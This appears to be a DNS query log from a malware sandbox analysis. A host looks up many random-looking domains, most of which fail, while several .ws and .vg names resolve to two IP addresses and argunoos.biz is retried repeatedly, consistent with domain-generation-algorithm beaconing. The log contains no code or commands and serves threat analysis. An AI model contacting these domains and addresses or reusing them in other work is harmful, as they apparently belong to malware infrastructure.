Jan 5, 2025 10:51:32.200299978 CET	1.1.1.1	192.168.2.4	0xa628	Name error (3)	mgamx.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.250174046 CET	1.1.1.1	192.168.2.4	0xee3f	Name error (3)	mkudp.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.264652014 CET	1.1.1.1	192.168.2.4	0x95ba	Name error (3)	mkudp.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.325882912 CET	1.1.1.1	192.168.2.4	0xc7a2	Name error (3)	tggrkab.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.341705084 CET	1.1.1.1	192.168.2.4	0x2c4	Name error (3)	tggrkab.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.408474922 CET	1.1.1.1	192.168.2.4	0x3146	Name error (3)	siwoanvgf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.456583023 CET	1.1.1.1	192.168.2.4	0x9ab0	Name error (3)	siwoanvgf.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.509435892 CET	1.1.1.1	192.168.2.4	0x6680	Name error (3)	ositfub.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.551300049 CET	1.1.1.1	192.168.2.4	0x72fc	Name error (3)	ositfub.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.629359007 CET	1.1.1.1	192.168.2.4	0xf25a	Name error (3)	xwueeim.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.676851034 CET	1.1.1.1	192.168.2.4	0x929	Name error (3)	xwueeim.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.735971928 CET	1.1.1.1	192.168.2.4	0xb81b	Name error (3)	jqkjllx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.748354912 CET	1.1.1.1	192.168.2.4	0x58a7	Name error (3)	jqkjllx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.798681021 CET	1.1.1.1	192.168.2.4	0x807	Name error (3)	qasgycqp.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.819386005 CET	1.1.1.1	192.168.2.4	0xb3bc	Name error (3)	qasgycqp.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.558769941 CET	1.1.1.1	192.168.2.4	0x1e66	Name error (3)	qxlcjyk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.749862909 CET	1.1.1.1	192.168.2.4	0x407f	Name error (3)	qxlcjyk.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.809972048 CET	1.1.1.1	192.168.2.4	0x398b	Name error (3)	kakiocy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.823465109 CET	1.1.1.1	192.168.2.4	0x1be	Name error (3)	kakiocy.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.886193991 CET	1.1.1.1	192.168.2.4	0xe11b	No error (0)	chllqgthic.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.906466007 CET	1.1.1.1	192.168.2.4	0x4b0d	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.919981956 CET	1.1.1.1	192.168.2.4	0xee5e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.994626045 CET	1.1.1.1	192.168.2.4	0x788d	No error (0)	zfiwopauawbug.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.018192053 CET	1.1.1.1	192.168.2.4	0x3ecd	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.029510021 CET	1.1.1.1	192.168.2.4	0x22eb	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.102103949 CET	1.1.1.1	192.168.2.4	0x23f5	Name error (3)	sqiiggeifsi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.120686054 CET	1.1.1.1	192.168.2.4	0xcf50	Name error (3)	sqiiggeifsi.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.182066917 CET	1.1.1.1	192.168.2.4	0x8ffe	No error (0)	swwayobyywm.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.200011015 CET	1.1.1.1	192.168.2.4	0x5918	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.210391998 CET	1.1.1.1	192.168.2.4	0x5fb	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.267374992 CET	1.1.1.1	192.168.2.4	0x37b9	Name error (3)	yykatcufguc.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.281516075 CET	1.1.1.1	192.168.2.4	0x9aea	Name error (3)	yykatcufguc.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.360246897 CET	1.1.1.1	192.168.2.4	0x460b	Name error (3)	yeymyax.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.377860069 CET	1.1.1.1	192.168.2.4	0xc922	Name error (3)	yeymyax.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.441189051 CET	1.1.1.1	192.168.2.4	0x1a4d	No error (0)	gkuyweyisuo.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.460361958 CET	1.1.1.1	192.168.2.4	0x33e5	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.472487926 CET	1.1.1.1	192.168.2.4	0xb562	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.545852900 CET	1.1.1.1	192.168.2.4	0x4d68	No error (0)	mpksw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.568865061 CET	1.1.1.1	192.168.2.4	0xf128	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.703502893 CET	1.1.1.1	192.168.2.4	0x9466	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.640189886 CET	1.1.1.1	192.168.2.4	0x880a	Name error (3)	nplluaghwzgwvn.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.668797970 CET	1.1.1.1	192.168.2.4	0x80d8	Name error (3)	nplluaghwzgwvn.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.720864058 CET	1.1.1.1	192.168.2.4	0xa148	Name error (3)	siugw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.732284069 CET	1.1.1.1	192.168.2.4	0x1957	Name error (3)	siugw.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.781826019 CET	1.1.1.1	192.168.2.4	0xf177	Name error (3)	olmzb.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.792807102 CET	1.1.1.1	192.168.2.4	0xa761	Name error (3)	olmzb.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.954749107 CET	1.1.1.1	192.168.2.4	0xc433	Name error (3)	qxcggyumaqa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.982075930 CET	1.1.1.1	192.168.2.4	0xf1c2	Name error (3)	qxcggyumaqa.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.052015066 CET	1.1.1.1	192.168.2.4	0xd7c8	No error (0)	osotuabnnisil.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.093605042 CET	1.1.1.1	192.168.2.4	0xd97e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.108109951 CET	1.1.1.1	192.168.2.4	0x87c5	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.168271065 CET	1.1.1.1	192.168.2.4	0x30fa	Name error (3)	scpiyyzar.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.181405067 CET	1.1.1.1	192.168.2.4	0x924e	Name error (3)	scpiyyzar.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.235737085 CET	1.1.1.1	192.168.2.4	0xf7f4	Name error (3)	qhvob.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.248029947 CET	1.1.1.1	192.168.2.4	0xd2ca	Name error (3)	qhvob.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.308937073 CET	1.1.1.1	192.168.2.4	0x38fa	No error (0)	neyzcipedtypk.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.329912901 CET	1.1.1.1	192.168.2.4	0x7fa7	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.339099884 CET	1.1.1.1	192.168.2.4	0x200	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.392185926 CET	1.1.1.1	192.168.2.4	0xfc3e	Name error (3)	miijapg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.403959990 CET	1.1.1.1	192.168.2.4	0x7d64	Name error (3)	miijapg.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.455513000 CET	1.1.1.1	192.168.2.4	0xc7e8	Name error (3)	pgrxczoyghu.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.481705904 CET	1.1.1.1	192.168.2.4	0xcdb6	Name error (3)	pgrxczoyghu.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.711214066 CET	1.1.1.1	192.168.2.4	0x917e	Name error (3)	ajkkoojsibc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.809022903 CET	1.1.1.1	192.168.2.4	0xc623	Name error (3)	ajkkoojsibc.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.943721056 CET	1.1.1.1	192.168.2.4	0x286d	Name error (3)	ywarwjp.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:37.820379972 CET	1.1.1.1	192.168.2.4	0x9896	Name error (3)	ywarwjp.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.146358013 CET	1.1.1.1	192.168.2.4	0xd082	Name error (3)	eumfmwcv.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.157167912 CET	1.1.1.1	192.168.2.4	0x4750	Name error (3)	eumfmwcv.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.463711023 CET	1.1.1.1	192.168.2.4	0x6eae	Name error (3)	fnvbwxaeqwk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.502676010 CET	1.1.1.1	192.168.2.4	0x84b9	Name error (3)	fnvbwxaeqwk.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.557631969 CET	1.1.1.1	192.168.2.4	0x7053	Name error (3)	uiwvomwyls.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.594387054 CET	1.1.1.1	192.168.2.4	0xa38e	Name error (3)	uiwvomwyls.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.658303976 CET	1.1.1.1	192.168.2.4	0x5779	Name error (3)	xyycdotjkmk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.693237066 CET	1.1.1.1	192.168.2.4	0xf6b2	Name error (3)	xyycdotjkmk.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.755494118 CET	1.1.1.1	192.168.2.4	0x8078	No error (0)	ncwjgaqmjup.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.774588108 CET	1.1.1.1	192.168.2.4	0x1f42	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.789724112 CET	1.1.1.1	192.168.2.4	0x927d	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.860143900 CET	1.1.1.1	192.168.2.4	0x4a5b	Name error (3)	ekuwiro.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.887793064 CET	1.1.1.1	192.168.2.4	0xe1e7	Name error (3)	ekuwiro.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.966885090 CET	1.1.1.1	192.168.2.4	0xf423	No error (0)	qvdkkmkcjaksq.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.018022060 CET	1.1.1.1	192.168.2.4	0xfc31	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.027704000 CET	1.1.1.1	192.168.2.4	0x3fc2	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.087729931 CET	1.1.1.1	192.168.2.4	0xf16	Name error (3)	rocaq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.101778984 CET	1.1.1.1	192.168.2.4	0xdf0f	Name error (3)	rocaq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.156689882 CET	1.1.1.1	192.168.2.4	0x1e7f	Name error (3)	rniseaoommyab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.170064926 CET	1.1.1.1	192.168.2.4	0x9661	Name error (3)	rniseaoommyab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.487797976 CET	1.1.1.1	192.168.2.4	0xf4f	Name error (3)	zuwasakwemgam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.776328087 CET	1.1.1.1	192.168.2.4	0xcc19	Name error (3)	zuwasakwemgam.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.829243898 CET	1.1.1.1	192.168.2.4	0x8971	Name error (3)	rukftuq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.841394901 CET	1.1.1.1	192.168.2.4	0xdb11	Name error (3)	rukftuq.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.907800913 CET	1.1.1.1	192.168.2.4	0x2930	Name error (3)	ircwazonobwpf.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.018210888 CET	1.1.1.1	192.168.2.4	0x960f	Name error (3)	ircwazonobwpf.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.085577011 CET	1.1.1.1	192.168.2.4	0xfa92	No error (0)	poybdufoqpr.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.116976023 CET	1.1.1.1	192.168.2.4	0xc9e6	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.132369041 CET	1.1.1.1	192.168.2.4	0xd7cf	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.199914932 CET	1.1.1.1	192.168.2.4	0x549	No error (0)	whgzwaqywdl.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.226406097 CET	1.1.1.1	192.168.2.4	0xa962	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.234051943 CET	1.1.1.1	192.168.2.4	0xe8ba	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.553694963 CET	1.1.1.1	192.168.2.4	0xd5e8	Name error (3)	iwzishghfg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.744580030 CET	1.1.1.1	192.168.2.4	0x867b	Name error (3)	iwzishghfg.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.075604916 CET	1.1.1.1	192.168.2.4	0xb280	Name error (3)	dlkeoy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.354618073 CET	1.1.1.1	192.168.2.4	0xfe17	Name error (3)	dlkeoy.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.408343077 CET	1.1.1.1	192.168.2.4	0x372e	Name error (3)	uvyeerkejumjc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.421011925 CET	1.1.1.1	192.168.2.4	0xf48a	Name error (3)	uvyeerkejumjc.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.485590935 CET	1.1.1.1	192.168.2.4	0xd3d9	Name error (3)	meovgkpxogbmum.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.512914896 CET	1.1.1.1	192.168.2.4	0x6cb5	Name error (3)	meovgkpxogbmum.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.564570904 CET	1.1.1.1	192.168.2.4	0xbc4	Name error (3)	czeocbmiquufi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.576950073 CET	1.1.1.1	192.168.2.4	0xee38	Name error (3)	czeocbmiquufi.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.627604008 CET	1.1.1.1	192.168.2.4	0x977d	Name error (3)	mwemqmaug.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.641964912 CET	1.1.1.1	192.168.2.4	0x62a6	Name error (3)	mwemqmaug.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.748855114 CET	1.1.1.1	192.168.2.4	0xa486	Name error (3)	iklqjegxws.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.793884993 CET	1.1.1.1	192.168.2.4	0x5e44	Name error (3)	iklqjegxws.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.101531029 CET	1.1.1.1	192.168.2.4	0x5a46	Name error (3)	mkekmwixqoqtxd.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.171044111 CET	1.1.1.1	192.168.2.4	0x4d96	Name error (3)	mkekmwixqoqtxd.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.220797062 CET	1.1.1.1	192.168.2.4	0x27ab	Name error (3)	qnqdegcawewks.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.316133976 CET	1.1.1.1	192.168.2.4	0x7da7	Name error (3)	qnqdegcawewks.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.392939091 CET	1.1.1.1	192.168.2.4	0xe319	Name error (3)	wwgysqikiu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.436641932 CET	1.1.1.1	192.168.2.4	0x31ff	Name error (3)	wwgysqikiu.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.488818884 CET	1.1.1.1	192.168.2.4	0xe09d	Name error (3)	tgvpzi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.505888939 CET	1.1.1.1	192.168.2.4	0x9991	Name error (3)	tgvpzi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.800968885 CET	1.1.1.1	192.168.2.4	0x893e	Name error (3)	imetq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.856545925 CET	1.1.1.1	192.168.2.4	0x879b	Name error (3)	imetq.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.907138109 CET	1.1.1.1	192.168.2.4	0x3901	Name error (3)	gdxigaok.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.928349972 CET	1.1.1.1	192.168.2.4	0xd11b	Name error (3)	gdxigaok.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.970578909 CET	1.1.1.1	192.168.2.4	0x1a18	Name error (3)	kumzrl.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.011558056 CET	1.1.1.1	192.168.2.4	0x49b0	Name error (3)	kumzrl.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.065251112 CET	1.1.1.1	192.168.2.4	0xd531	No error (0)	ybceswdbw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.104631901 CET	1.1.1.1	192.168.2.4	0xcecc	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.116019964 CET	1.1.1.1	192.168.2.4	0x1c2b	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.167722940 CET	1.1.1.1	192.168.2.4	0x97a1	No error (0)	wffcc.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.249665976 CET	1.1.1.1	192.168.2.4	0xb16b	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.259754896 CET	1.1.1.1	192.168.2.4	0x562f	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.325689077 CET	1.1.1.1	192.168.2.4	0xefa4	Name error (3)	eupjx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.337798119 CET	1.1.1.1	192.168.2.4	0x4520	Name error (3)	eupjx.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.394356012 CET	1.1.1.1	192.168.2.4	0x7b3d	Name error (3)	rwqsyyerzsawpu.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.405122995 CET	1.1.1.1	192.168.2.4	0x9a08	Name error (3)	rwqsyyerzsawpu.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.461658955 CET	1.1.1.1	192.168.2.4	0x759d	Name error (3)	yoygpqq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.495498896 CET	1.1.1.1	192.168.2.4	0xee30	Name error (3)	yoygpqq.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.912949085 CET	1.1.1.1	192.168.2.4	0x96a6	Name error (3)	nkancquzytf.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.010781050 CET	1.1.1.1	192.168.2.4	0x312e	Name error (3)	nkancquzytf.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.078349113 CET	1.1.1.1	192.168.2.4	0xcece	Name error (3)	gcmctuy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.106004000 CET	1.1.1.1	192.168.2.4	0xfce3	Name error (3)	gcmctuy.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.158930063 CET	1.1.1.1	192.168.2.4	0x4961	Name error (3)	mgqzcurggow.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.173130989 CET	1.1.1.1	192.168.2.4	0xbaa5	Name error (3)	mgqzcurggow.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.221517086 CET	1.1.1.1	192.168.2.4	0xeb8	Name error (3)	xomapu.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.233237982 CET	1.1.1.1	192.168.2.4	0xc6b5	Name error (3)	xomapu.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.299690008 CET	1.1.1.1	192.168.2.4	0xbbce	Name error (3)	dshyorcwlbx.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.310988903 CET	1.1.1.1	192.168.2.4	0x889e	Name error (3)	dshyorcwlbx.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.361473083 CET	1.1.1.1	192.168.2.4	0xb544	Name error (3)	wcjuwiazord.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.405623913 CET	1.1.1.1	192.168.2.4	0xd767	Name error (3)	wcjuwiazord.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.454243898 CET	1.1.1.1	192.168.2.4	0xe0b9	Name error (3)	xqckyrswguab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.468219042 CET	1.1.1.1	192.168.2.4	0xc0d5	Name error (3)	xqckyrswguab.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.522444010 CET	1.1.1.1	192.168.2.4	0xece8	Name error (3)	wcplzipmsuowc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.534600973 CET	1.1.1.1	192.168.2.4	0xab91	Name error (3)	wcplzipmsuowc.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.594052076 CET	1.1.1.1	192.168.2.4	0xa6d1	Name error (3)	tgymawesidgmv.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.626183033 CET	1.1.1.1	192.168.2.4	0x5cbd	Name error (3)	tgymawesidgmv.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.704782963 CET	1.1.1.1	192.168.2.4	0x2f30	Name error (3)	wiiubcwu.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.734729052 CET	1.1.1.1	192.168.2.4	0xd326	Name error (3)	wiiubcwu.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.793281078 CET	1.1.1.1	192.168.2.4	0x94de	Name error (3)	pkgwwxa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.813811064 CET	1.1.1.1	192.168.2.4	0x2ec4	Name error (3)	pkgwwxa.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.873527050 CET	1.1.1.1	192.168.2.4	0x678	Name error (3)	ybzgpgogo.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.889031887 CET	1.1.1.1	192.168.2.4	0x1fc4	Name error (3)	ybzgpgogo.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.945183039 CET	1.1.1.1	192.168.2.4	0xc2e8	No error (0)	sbryieibyhiog.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.963562012 CET	1.1.1.1	192.168.2.4	0xce9f	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.974267006 CET	1.1.1.1	192.168.2.4	0x1c2e	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.045881987 CET	1.1.1.1	192.168.2.4	0xdbf0	No error (0)	cmspzpcyime.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.063916922 CET	1.1.1.1	192.168.2.4	0x61e5	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.071726084 CET	1.1.1.1	192.168.2.4	0x50c8	Name error (3)	argunoos.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.112273932 CET	1.1.1.1	192.168.2.4	0xc33a	Name error (3)	zuyekgi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.140358925 CET	1.1.1.1	192.168.2.4	0xc49a	Name error (3)	zuyekgi.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.959207058 CET	1.1.1.1	192.168.2.4	0xaf48	Name error (3)	uuakxpcodyo.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.972316027 CET	1.1.1.1	192.168.2.4	0x5d1	Name error (3)	uuakxpcodyo.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.016424894 CET	1.1.1.1	192.168.2.4	0xc93e	Name error (3)	ouughuceauhyk.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.031400919 CET	1.1.1.1	192.168.2.4	0x35a3	Name error (3)	ouughuceauhyk.nu	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.100105047 CET	1.1.1.1	192.168.2.4	0x3407	Name error (3)	gheywgzgic.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.131789923 CET	1.1.1.1	192.168.2.4	0x37bd	Name error (3)	gheywgzgic.tk	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.183351994 CET	1.1.1.1	192.168.2.4	0x60fc	Name error (3)	xgyos.cd	none	none	A (IP address)	IN (0x0001)	false
